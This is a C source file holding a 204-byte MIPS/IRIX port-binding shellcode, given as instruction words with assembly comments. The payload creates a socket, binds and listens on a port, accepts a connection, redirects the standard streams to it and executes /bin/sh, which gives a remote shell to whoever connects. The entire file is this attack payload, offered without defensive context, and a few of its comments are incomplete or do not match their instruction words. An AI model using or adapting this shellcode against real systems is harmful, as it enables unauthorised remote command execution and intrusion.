/** 204 byte portbinding PIC MIPS/IRIX shellcode **/
/**                                                **/

unsigned int bindshell[] = {
0x241607d0,  // li      s6, 0x07d0
0x22c4f832,  // addi a0,s6,-0x1998   af_inet = 2
0x22c5f832,  // addi a1,s6,-0x1998   sock_stream = 2
0x22c6f838,  // a2,s6,-0x1992        tcp = 6
0x24020453,  // li v0,0x0453
0x0101010c,  // syscall
0x3044ffff,  // andi a0, v0, 0xffff

/* build struct sockaddr_in
 * 0x0002port 0x00000000 0x00000000 0x00000000
 */

0x22caf832,  // addi t2,s6,-0x1998
0xa7eafff0,  // sh t2, -16(sp)
0x240a4141,  // li t2, 0x4141           /* t2 = port number */
0xa7eafff2,  // sh t2, -14(sp)
0xab1ffff4,  // sw zero, -12(sp)
0xab1ffff8,  // sw zero, -8(sp)
0x1abffffc,  // sw zero, -4(sp)
0x22a6f840,  // addi a2,s6,-0x07c0
0x03e62817,  // subu a1, sp, a2         /* a1 = (struct sockaddr *) */
0x24020442,  // li v0, SYS_bind
0x0101010c,  // syscall
0x22a5f840,  // addi a1,s6,-0x07c0
0x24020448,  // li v0, SYS_listen
0x0101010c,  // syscall
0xafe6ffec,  // sw a2, -20(sp)
0x23ebffec,  // addi a2, sp, -20               /* a2 = &socklen */
0x24020441,  // li v0, SYS_accept
0x0101010c,  // syscall
0x22d3bce2,  // addi s3, s6, -0x431e    /* s3 = 0x3032 (0x3030 = dummy, 0x0002 
= STDERR_FILENO) */
0x3057ffff,  // andi s7, v0, 0xffff
0x240effff,  // li t8, -1
0x05d0ffff,  // boom: bltzal  t8, boom
0x280effff,  // slti    t8, zero, -1    /* t8 = 0 (see below) */
0x32640103,  // andi    a0, s3, 0x0103  /* a0 = STD*_FILENO */
0x240203ee,  // li      v0, SYS_close   
0x0101010c,  // syscall
0x32e4ffff,  // andi    a0, s7, 0xffff  /* a0 = socket */
0x2805ffff,  // slti    a1, zero, -1    /* a1 = 0 */
0x32660103,  // andi    a2, s3, 0x0103  /* a2 = STD*_FILENO */
0x24020426,  // li      v0, SYS_fcntl   /* 0x0426 */
0x0101010c,  // syscall
0x2013efef,  // addi    s3, -0x1011
0x0661ffde,  // bgez    s3, -34(offset to boom:)
0x1abffffc,  // sw zero, -4(sp)
/* a2 (envp) is already zero due to the dup_loop
*/
0x040affff,  // noot: bltzal    zero, noot
0x23e5fff8,  // addi a1, sp, -8
/* ra contains the proper address now */
0x23ff0120,  // addi ra, ra, 0x0120     /* add 32 + 0x0100 */
0x23e4fef8,  // addi a0, ra, -(8 + 0x100)
0xc01ffeff,  // zero, -(1 + 0x100)(ra)  /* store NUL */
0xafa4fff8,  // sw      a0, -8(sp)
0x24020423,  // li v0, SYS_execve
0x0101010c,  // syscall
0x2f62696e,  // .ascii  "/bin"
0x2f736841   // .ascii  "/sh", .byte 0x41 (dummy)
};